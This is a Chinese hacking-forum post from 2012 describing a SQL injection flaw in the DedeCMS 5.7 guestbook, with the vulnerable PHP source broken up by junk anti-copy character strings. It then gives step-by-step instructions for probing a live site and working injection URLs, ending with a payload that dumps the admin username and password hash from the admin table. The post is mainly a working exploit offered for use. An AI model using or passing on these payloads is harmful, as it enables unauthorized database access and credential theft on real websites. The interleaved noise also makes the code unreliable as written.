找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 4054|回复: 0
打印 上一主题 下一主题

dedecms5.7最新sql注射漏洞利用 guestbook.php

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-13 13:24:11 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
影响版本为5.7
2 C; I7 [% d9 ^+ |' M, q
, N+ e5 o3 G; [漏洞文件edit.inc.php具体代码:
/ l% g  b8 e: J8 U8 _3 r, F$ A1 R0 T
7 M4 l2 Y  o; S( r9 Z< ?php  * B/ v6 q: @  R0 I) ?9 {- ]$ }
7 ^/ C- O, m5 G* h  h8 e2 D0 L
if(!defined('DEDEINC')) exit('Request Error!');  
% s, [' |; V( J5 R) h
' b) c8 d8 y$ Y* y( W' Y5 c   
  F4 E: a* e$ l
4 s  m/ R: y3 h/ f% g6 z4 Jif(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];  4 Y& m4 W# r4 |- {# D) s% P
5 u' ]9 g6 C! ~0 F5 g3 m
else $GUEST_BOOK_POS = "guestbook.php";  $ e2 [3 C6 q& C! x! R
; t7 c; |& F  B4 {
   ' R# V+ b# F# X- T3 `
- v# F  l9 h3 c3 w! v1 \+ A" I4 P
$id = intval($id);  
. l- T+ r" R. d; r1 U. k& l+ y9 D$ A( d' o4 L, `; s9 Q
if(empty($job)) $job='view';  1 o5 j3 C3 B6 T. J% e, P4 ^
4 F4 D6 d, ^0 D& b$ `' k4 l5 l/ w
   
, s8 n' Q- m/ u% |9 U& E. v
1 o+ s( T! \  p" W" ?+ |/ Hif($job=='del' && $g_isadmin)  
: l5 [5 y/ L# c/ J/ ?# q6 S3 k5 t# U3 v& o
{  - H2 F3 P0 m7 U; m# }% {

* C* H0 b$ J% Q! x$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  
6 k, @' f7 i' \, `. a
# c& T; o: u- e! JShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);  1 u* ]  [. S, Z" W$ z

9 w* x+ S( N  d- \0 Zexit();  
& R; q- w& ?& \0 L* A  J4 B  P$ V1 j' [
}  % {5 m. ]: I* `
) e" B3 C  u- _) w% [- e" i; f: v$ N
else if($job=='check' && $g_isadmin)  
$ N: S3 ~( S. o+ Y. _6 Y+ P3 o: ]
  |8 W! `- U) P$ L{  % |6 v% B! ^+ j1 n" q7 i, O
* O+ l- s/ U; w% I) b9 k
$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  9 E* k" Y; l' Z9 I, g

' _5 q( w0 \+ c  f) U5 dShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);  . s9 Q: M: p+ k1 C
3 w: m4 R, I0 A! U/ b" U; f
exit();  
# ?3 _; \  s6 y# N6 y5 ]1 Y; i0 X. Q( y
}  4 Z+ Z7 U4 {9 J" ]9 X
5 d3 r. t- p% g! W
else if($job=='editok')  
. s8 v3 f9 C9 E8 z
6 o% w3 h$ k, O" q{  7 V# J- W" q. v; ~

4 h; `; ?# ~# ~' X; q0 O5 N$remsg = trim($remsg);  
9 \/ w9 Q$ Q5 T- H
% j% I+ m) l7 U3 J% {if($remsg!='')  & f  D. e% `& g% M$ M
9 _% V- g6 l# s* @
{  
# I' q2 c( L% {0 L, v, \
. ^6 U0 z7 J0 k+ C3 j; T- Q//管理员回复不过滤HTML By:Errorera blog:errs.cc  
( ?4 j3 d8 p  I8 d
2 w7 W% {. B( h2 W+ lif($g_isadmin)  # M1 f! ~: Q7 p) i+ ]2 k
/ Z' F8 h. r" c) Y3 `; ^" s
{  ) T. r* I* L9 j! d+ p8 {* d

. B. Q% c7 j6 D. y, _$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;  
: V0 |" s' J: ?& S0 F5 f+ ?6 h0 B# b8 ^6 t
//$remsg <br /><font color=red>管理员回复:</font> }  / M) B4 H% g9 ]6 j6 p* B% q
+ y  W7 T: X' ~; i
else 4 J, ?6 ]( E1 h; L

- }' P) W3 e2 X{  - _# v) M% [  j1 r
# ^( u/ W( p+ \
$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  6 s/ {/ F  Z7 E  m5 _
; o# w  E5 p) u+ u
$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";  
7 k% i6 Y( c  [& E/ I9 Y, E: V
( L* k1 `$ ]: K$ q. F$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  0 T, {+ R1 G0 Y
) ~$ z' ]8 h, ], d
$msg = $oldmsg.$remsg;  
4 I/ e8 D% Y+ x( `, F1 ~9 d( K8 g- n) }8 j! P% q" R
}  2 G2 E, p) R. N+ g5 Q+ Q1 W' H  o3 k

; y7 j+ ]' o5 a9 J3 R}  7 \1 `) v+ e: M
9 q0 ~9 S4 I; e$ m0 Q" J" Q
//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc  
! X' r3 Y0 u' `7 w  c  @4 o5 H7 w2 |1 D, C
$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");  4 c# Q2 k: f" ^/ d# s

! |; L- W/ ^3 M6 G, b* sShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);  * g9 `6 M! Y# R  t
) C, s! F& A7 M, M5 y" ]9 o
exit();  2 g% Z) g/ }0 u5 _( v" B% m

% ~# R' U9 I# Z. N% I) l}  
$ T1 Y6 i9 R6 r6 X5 L
3 H# A, @5 z+ l//home:www.errs.cc  
1 \3 P& p' l6 M$ m" \4 f( o5 F
3 |! Y; X$ F1 Z7 C/ m: h( mif($g_isadmin)  - [. t& v7 D3 Y! ^
0 ?, s" T* m6 U- f/ x
{  
. C2 P% r+ R" x3 G! _; m1 |3 x# |1 v# w6 ~1 n) w$ o6 V
$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  ; p4 V; P. W+ B( q4 F
! E0 M. a% H& G4 @# O8 O1 j
require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  6 B( Q: k: n, b8 q: y

# W: [8 M9 F! |}  
9 O9 y1 S6 y5 Z- K0 Q2 \5 X) B* `- ~! ~
else 2 W% G7 ?+ Y+ g2 r# p

# {5 `6 B% u' V; K{  ( s0 r' V5 e1 n2 K/ _) A

6 |1 |& q& {. X- l- G+ z* I$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  ' G) r3 E1 J+ m: P
# {, e* k/ J  d, _) d( H
require_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  
; Y0 k, W. V3 I3 y' C  D; ?" _* P6 N* B# X" |1 |& g/ B+ L( w
} 漏洞成功需要条件:( f2 f5 K: C, U9 _% ^  ]/ k
1. php magic_quotes_gpc=off/ h/ ^, }. {, ?6 T. \" T
2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。- K. f( G9 o/ y9 B1 c7 e
  O; M" B. Q5 `, l  T4 x
怎么判断是否存在漏洞:
: |! `! b$ Z. _  j先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,
* q, w& x' u) G- r2 b% R然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
/ Q# G% ~: q1 O% f访问:
8 s( ?. o' x& b5 G% t; ^. ^8 |2 d+ O/ L" ~; m+ W) z! \: R
www.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
1 M( v3 \* W2 _4 h/ x跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证
7 u" P1 i( p$ ^5 t
/ c2 T, r; Y# a6 D( g8 N: Z9 U, d0 [4 w
明漏洞无法利用应为他开启了 php magic_quotes_gpc=off
  }+ Z: Y+ C8 A* Y6 C# a" F4 d如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。& z$ _( y3 \" T1 f5 M8 K' p
那么再次访问
5 M4 y% C7 n) }2 y# m" t& H. q; s( ^  N) T$ v+ b
www.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().
5 o6 w. F! J/ L2 o- [# @6 z& [+ l% M7 `" `* K
大概利用就是这样,大家有兴趣的多研究下!!
* e7 H8 N2 |  U' k) y9 Z
6 W/ \0 n. U+ t: G! s5 E最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!
% L9 K* ~7 g/ r$ A) d# A9 |* e6 h6 z
view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表